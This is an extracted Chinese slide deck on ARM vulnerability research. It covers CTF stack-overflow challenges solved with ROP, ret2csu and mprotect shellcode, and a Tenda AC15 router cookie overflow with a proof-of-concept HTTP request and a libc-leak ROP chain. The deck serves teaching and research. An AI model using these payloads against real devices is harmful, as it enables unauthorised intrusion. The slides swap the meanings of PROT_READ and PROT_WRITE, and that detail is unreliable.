ARM程序漏洞挖掘

1、ARM程序的漏洞挖掘CodeSafe实验室eackAboutmeeack奇安信CodeSafe实验室,IoT漏洞挖掘Xman2017届夏季南京营学员2019补天白帽大会,2019BCS大会,speaker2019补天杯IoT破解大赛CTF业余爱好者,Aurora&De1taCTF中的ARM程序IoT中的ARM程序目录ARM基础知识ARM简介搭建ARMPWN环境ARM程序的漏洞挖掘思路与实践ARM汇编详解安装gdbserver因为镜像版本太旧,官方的更新源中已经没有合适版本的软件包,解决方法是替换更新源,替换成官方的存档更新源nano/etc/a

3、ploitation学习资料CTF中的ARMARM32LSB,staticallylinked,strippedARM32NXenabled,NoPIE一个简单的打字游戏,超长的输入导致栈溢出思路:程序仅开启了NX,且是静态链接,可以直接利用rop构造system(“/bin/sh”)。程序在编译时去除了符号,使用rizzo、bindiff等工具恢复部分符号system:0x10BA8构造ROP0x00020904:popr0,r4,pcpadding的长度-cyclicpaddingpaddinggadgets/bin/shjunksystemf

4、ramepointerreturnaddressforiinrange(112,113):payload=a*i+p32(0x20904)+p32(0x6c384)*2+p32(0x110B4)paddingpaddinggadgets/bin/shjunksystem0x209040x6c3840x100b4ARM64ARM32LSB,dynamicallylinked,strippedNXenabled,NoPIE安装aarch64的汇编器:$sudoaptsearchbinutils|grepaarc

5、h64$sudoapt-getinstallbinutils-aarch64-linux-gnu安装aarch64的libc:$sudoapt-cachesearchlibc6-|greparm“$sudoaptinstalllibc6-arm64-cross首先找到输入点,首先会通过read()将用户输入写入到unk_411068所在的bss段,然后再向栈上写入而在sub_4007F0函数中向栈上写入时,目标缓冲区v1是一个int64类型的变量,在栈上仅分配8bytes的内存空间,而通过read向这块内存写入了512byt

6、es,明显会导致栈溢出:程序开启了NX,常规思路是ROP,在plt表中寻找可以覆盖的函数:intmprotect(constvoid*start,size_tlen,intport)把从start开始的,长度为len的内存区的保护属性修改为port指定的值:PROT_READ:表示内存段内的内容可写PROT_WRITE:表示内存段的内容可读PROT_EXEC:表示内存段中的内容可执行PROT_NONE:便是内存段中的内容无法访问需要注意,指定的内存区间必须包含整个内存页(4K),区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必

7、须是页大小的整数倍利用:1、通过第一个read操作向bss段中写入shellcode(不可执行)2、通过第二次read操作溢出构造rop链,调用mprotect设置可执行3、通过rop跳转到bss段执行shellcode简单的gadget工具:objdump、ROPEME、Ropper、ROPgadget、rp+在这个程序中,涉及到aarch64传参的方式,需要控制三个参数x0、x1、x2,程序本身的函数中找不到可用rop链,而我们也不知道目标服务器上libc.so的版本,所以我们采用通用gadget,这种技术也叫ret2csu通常,在调用

8、了libc.so的程序中,都会用到_libc_csu_init()这个函数来对libc进行初始化通用Gadget:X29X30X19X20X21X22mprotectpltX1X2X23X240X30X0loc_4008ACret到loc_4008CC后布局栈,然后ret到X30寄存器的值即loc_4008AC,然后callmprotect(0x411000,0x1000,5),然后判断X19和X20是否相等,因为我们提前布置好了所以会继续往下执行到ret,返回到shellcode处qemu-user模式模拟:$sudoqemu-aarch64-g1234

9、-L/usr/aarch64-linux-gnu./baby_arm-g参数:在本地开启指定调试端口-L参数:指向程序依赖的共享库pwndbg远程连接端口调试:$gdb-multiarch./baby_armpwndbgtargetremote:1234.下断点pwndbgcontinueIOT中的ARMTendaAC15路由器ARM32LSB,dynamicallylinked,strippedNXenabled固件分析maininitWebswebsOpenServerwebsUrlHandlerDefineR7WebsSecurityHandlerwebsF

10、ormHandlerListeningrequestwebsOpenListenwebsAcceptwebs_Tenda_CGI_BIN_HandlerwebsDefaultHandler/goform/cgi-binwebsGetInputwebsParseRequestwebsUrlHandlerRequestwebsUrlHandlerParseauthorizationSetrequesthandlerCallrequesthandlerCallbackConnectCfm设置服务的基础配置开始监听用户请求,设置对应的处理函数backinitWebswebsUrlH

11、andlerDefinewebsUrlHandlerDefine(“”,0,0,R7WebsSecurityHandler,1);backbackwebsUrlHandlerRequestsscanf函数从用户请求Cookie中,格式化获取password参数值,并写入到固定长度为0x80的缓冲区pcookie中,未控制可写入大小,导致栈溢出R7WebsSecurityHandlerintsscanf(constchar*str,constchar*format,mixedvar1,mixedvar2.)str:源字符串,函数检索数据的源forma

12、t:格式化%*widthh|l|I64|Ltype||t|n|非%符号varn:目标缓冲区sscanf函数和scanf函数类似,都是用于输入,但后者是以stdin为输入源,前者是以固定字符串为输入源“%*=”从数据源截取“=”之后的字符串“%;*”从数据源截取“;”之前的字符串“%*=%;*”合起来,就是截取“=”和“s”之间的字符串,即password的值sscanf函数url的值不能为空url不能为“/”,或长度不超过1url不能是上面的任意一个路径或请求满足上面的条件进入到if执行,url不能为“/index.html”构造POCGET/gofo

13、rm/execCommandHTTP/1.1Host:x.x.x.xUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:65.0)Gecko/20100101Firefox/65.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests:1Cookie:password=“A”*501sudochroot../qemu-arm-static-g1234

15、c_base_addr=puts_addr-puts_libc_offset=0xf65e5000ROPgadget-binarylibc.so.0-only“pop”ROPgadget-binarylibc.so.0|grep“mov”查找gadgets:总体思路:先将systempop到r3,再将sp中的cmd参数放到r0paddingpopr3,pcsystemmovr0,sp;blxr3cmdPCSP1.覆盖RET地址paddingpopr3,pcsystemmovr0,sp;blxr3cmdPCSP2.pop

20、snprintf返回的这个值是不受这个限制统计的最终,这个size会被传入到em_socket_send函数中,作为buf的长度,在堆上分配一块过大的(超过0x100)内存空间,从而可以泄露出堆上的数据而这部分泄露的数据中包含了libc上的地址,可以在接收到的返回报文中看到这个_malloc_state是libc中bss段上的一个全局变量:泄露出的_malloc_state+52的真实地址bss段上_malloc_state+52的libc偏移地址=libc基址第二处漏洞同样是在处理login的这部分代码中,是在解析用户logi

22、始化配置文件的格式,有多个Section组成,每个Section中又包含了多个键值对,键值对之间通过换行符进行分隔。此时,写入到ini文件中的键值是我们可控的,那么如果我们输入换行符,将会注入一段新的键值对或者Section,举个例子:正常情况下,cookie=“isvip=0;jumpkey=A;usernick=B;userid=1”ini配置文件中的内容:注入后,cookie=isvip=0;jumpkey=Annlicensenserver_addr=;usernick=B;userid=1ini配置文件中的内容:第三处漏洞在license_start

THE END
1.360补天漏洞平台漏洞挖掘入门视频课程本课程是黑客攻防实战体系建设的一部分,主要介绍如何在360补天平台注册个人帐号,如何提交有效漏洞,批量挖掘简单漏洞,挖掘漏洞的一些思路和技巧。课程由浅入深,本课程内容将持续更新。 课程目标: 在360补天平台注册个人账号。 提交漏洞,收获1个补天币以上。 https://blog.51cto.com/simeon/1913309
2.石昊四重神秘面纱揭开,全新形象现世,仙古领域连越三级震惊众人石昊四重神秘面纱揭开,全新形象现世,仙古领域连越三级震惊众人 嘿,各位好戏迷们,欢迎来到木子的奇幻世界!咱们的主角石昊,这位动漫界的风云人物,终于在《完美世界》的最新篇章里,解锁了新的冒险篇章——第159集预告片!这部动漫犹如一部精心编排的悬疑剧,每一集都让人屏息期待。石昊这次不仅闯过了天才争霸赛的https://baijiahao.baidu.com/s?id=1796198595326699978&wfr=spider&for=pc
3.补天挖洞经验贴Tu9oh0st补天挖洞经验 转载自: 补天付费厂商漏洞挖掘小技巧 补天不收的漏洞 补天付费厂商漏洞挖掘小技巧 1、子域名收集 不要想着去撸主站,主站一出来几乎被人轮了个遍,跟大牛抢肉吃,难,放弃。 所以我们一般都是百度找子域名 例如www.xxxxx.com是主站,关键字 inurl:xxxxx.com。如果这样能找到不少子域名。https://www.cnblogs.com/Tu9oh0st/p/8447738.html
4.补天白帽大会:漏洞挖掘人才会爆发大需求补天白帽大会:漏洞挖掘人才会爆发大需求:3月30日,2017补天白帽大会在深圳举行,360公司首席安全官谭晓生在演讲中认为,安全领域的人才需要会有爆发式增长,而漏洞挖掘领域也会有大的人力需要出现。未来一个工厂里面自动化程度越来越高、机器人越来越多,它的供应链不得不https://china.huanqiu.com/article/9CaKrnK1FYm?re=nextnews
5.补天漏洞平台发布最受白帽黑客喜爱的安全工具榜首席安全官本届Tools Collection论坛收集展示了9大国产安全工具,其中涉及渗透测试、漏洞挖掘、安全防护、安全运营等多个类别.。 9月17日,国内知名网络安全技术盛会2021第五届补天白帽大会在北京举行,首次设立Tools Collection论坛,为国内安全工具提供一个展示、交流和共享的舞台。 https://www.ciocso.com/article/11401.html
6.我院学子在安全应急响应中心平台近日,我院计算机网络技术专业2022-3班任志用同学在各大SRC应急响应中心平台上不断绽放光彩,凭借精湛的技术挖掘了数个中高危漏洞,在提升技能的同时也获得了补天漏洞响应平台给予的2000元奖金。任志用通过技术获取人生第一桶金的故事不仅为他自己未来的学习奠定了更坚实的兴趣基础,更给班级乃至我院其他同学树立了榜样,使http://www.hunangy.com/xxgcxy/info/1032/5073.htm
7.奇安信攻防社区挖掘想学会挖掘游戏漏洞只能多测多去尝试,祝大家也可以在src中提交自己挖掘到的游戏漏洞。 0x04 版权信息 本文章著作权归月神所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。https://forum.butian.net/share/50
8.第一次追星导致的漏洞挖掘为创造101小姐姐无限投票很久之前的的一篇文章了,提交补天没过,厂家默默地修复了,加了个302跳转,其实也很简单,懒得搞了。 昨天空间被创造101王菊刷屏了,很多人都喊着为王菊投票,1、剩余投票次数修改 2、把id的后两位和phone的后两位设置为变量,直接用burpsuite就可以无限投票了 最后,漏洞已提交厂商,请勿恶意刷票!https://www.jianshu.com/p/53e297539315
9.补天推出托管安全应急响应中心(SRC)V2.0ISC大会期间补天漏洞响应平台展台 补天托管式SRC V2.0服务都有啥? 1、全资产人工漏洞探测和持续挖掘 补天平台目前拥有4万多名白帽子资源,其中持续活跃的精英白帽子2000名左右。精英白帽子对企业发布的测试范围内的系统或网站进行漏洞挖掘及提交。补天平台的安全漏洞审核专家负责审核漏洞的有效性、漏洞质量和信息完整性,http://bbs.360.cn/thread-15563555-1-1.html
10.SRC漏洞挖掘与最重要的环节——信息收集简介SRC漏洞挖掘与最重要的环节——信息收集 SRC挖掘有很多平台,比如EDUSRC,比如公益SRC:补天、漏洞盒子等,还有就是一些企业SRC。 对于挖掘src的小伙伴来说第一步都是对资产进行收集,所以本篇文章首先介绍一下SRC的上分思路,然后会具体讲解一下信息收集的思路。 https://www.315safe.com/anquanfuwu/2699.html
11.新人该如何挖掘web漏洞?那么这篇文章就教大家怎么从零到挖漏洞一条龙学习!学到了别忘了给个赞 什么是漏洞挖掘 漏洞挖掘是指https://www.zhihu.com/question/468717992/answer/3045580867
12.补齐漏洞/补天漏洞挖掘零开始攻防自学补齐漏洞/补天漏洞挖掘-零开始攻防自学 不久前,补天漏洞响应平台宣布,推出了全新的补天漏洞情报服务,将发动补天平台已注册的 36000多名白帽子提供漏洞信息,经过安全专家分析研判脱敏处理后,加工成漏洞情报推送给行业客户。 补天掌门人白健在接受雷锋网在内的媒体采访时表示,除了 BAT 级的大厂有钱有人专门建立自己的 SRhttps://blog.csdn.net/2401_84915584/article/details/139866131
13.SRC漏洞挖掘实战班蚁景网安实验室提供在线实验与课程,包含web安全\渗透测试\密码学应用\软件安全\CTF挑战\漏洞挖掘等多方面的内容,大量靶场实战提升操作能力,助你快速成长https://www.yijinglab.com/activity/src
14.从前端信息泄露进行漏洞挖掘在漏洞挖掘中,比的不但是资产收集的本领,更多的是细心。往往毫不起眼的前端文件,却总能给人带来意想不到的惊喜。 开始 在某次漏洞挖掘中,由于本人一如既往的菜,即使肝了很长时间,也挖不到一个低危漏洞。在那搞了半天以后,决定打开f12,自我安慰一下。 https://xz.aliyun.com/t/10005
15.实战记一次众测SRC挖掘腾讯云开发者社区实战| 记一次众测SRC挖掘 早就眼馋网上各种大佬挖src挣大钱了,最近也比较闲,就想挖一挖公益src呗,毕竟以前也没怎么认真地挖过,想自己试一试来锻炼锻炼,顺便记录一下思路 先在补天上挑选一个厂家呗,一不小心就看上了某厂家了 先访问下主站,看看该厂的域名是啥,以前挖洞的时候总是吊儿郎当不好好搞信息收集,https://cloud.tencent.com/developer/article/2008739
16.记录第一次尝试小程序支付漏洞挖掘Track知识社区昨天在论坛里看到一个大佬写的小程序挖掘过程,我就寻思我也试试!然后没想到找到了一个! 准备工作 首先是安装好小程序代理软件,proxifier,然后与burp联动进行抓包。 proxifier的设置 官网下载https://www.proxifier.com/安装的时候,下面的3个选项根据自己的需求来,其他的全部下一步。 安装成功之后,打开按照以下步骤,https://bbs.zkaq.cn/t/31707.html
17.SRC漏洞平台是什么?企业SRC是什么?一篇文章讲清楚!(src漏洞挖掘)(src漏洞挖掘) 一、概念介绍 安全应急响应中心(SRC, Security Response Center),是企业用于对外接收来自用户发现并报告的产品安全漏洞的站点。说白了,就是连接白帽子和企业的平台,你去合法提交漏洞给他们,他们给你赏金。 目前国内有两种平台,一种是漏洞报告平台,另一种就是企业SRC,这里也给大家强调一下,一定不要https://www.eolink.com/news/post/30685.html
18.热情责任自由,他们不忍看世界沉沦——致敬补天漏洞平台十周年众测模式是模拟攻击者的视角,以大兵团作战的方式,从补天平台10万个白帽子中召集200个人,集众人之力,通过竞争式的漏洞挖掘达到目的。而众测模式,讲究的就是一个“先到先得”,一般只会奖励第一个挖出漏洞白帽子。这种拼手速的模式其实对于白帽子来说是更加平等和友好的。https://www.leiphone.com/category/gbsecurity/fdssZEVKKR9v9wpS.html
19.SRC漏洞挖掘必备技巧2022平安SRC线上沙龙(公开).pdfT P P ) 开 公 ( 龙 沙 上 线 C R S 安 平 2 2 0 2 T P P ) 开 公 SRC漏洞挖掘必备技巧 ( 龙 沙 上 线 苗永森 C R S 平安金融壹账通安全研究员 安 平 2 2 0 2 自我介绍 T P P ) ID :阿苗 开 公 一个脚本小子 ( 龙 沙 21年5月开始接触src 上 线 C R 平安金融壹账通https://max.book118.com/html/2022/0811/6015224011004223.shtm
20.赏金计划coremailSRC邀你来找茬,发现漏洞快提参与者可在Coremail SRC测试平台进行漏洞挖掘,然后通过补天漏洞响应平台(https://coremail.butian.net/)提交漏洞报告即可。 漏洞接收范围与要求 Coremail SRC接收的漏洞范围包括Coremail论客官网(www.coremail.cn)和Coremail邮件系统试用demo环境(https://sdemo.icoremail.net),暂不接受子域名漏洞和其他系统漏洞。 https://www.secrss.com/articles/30303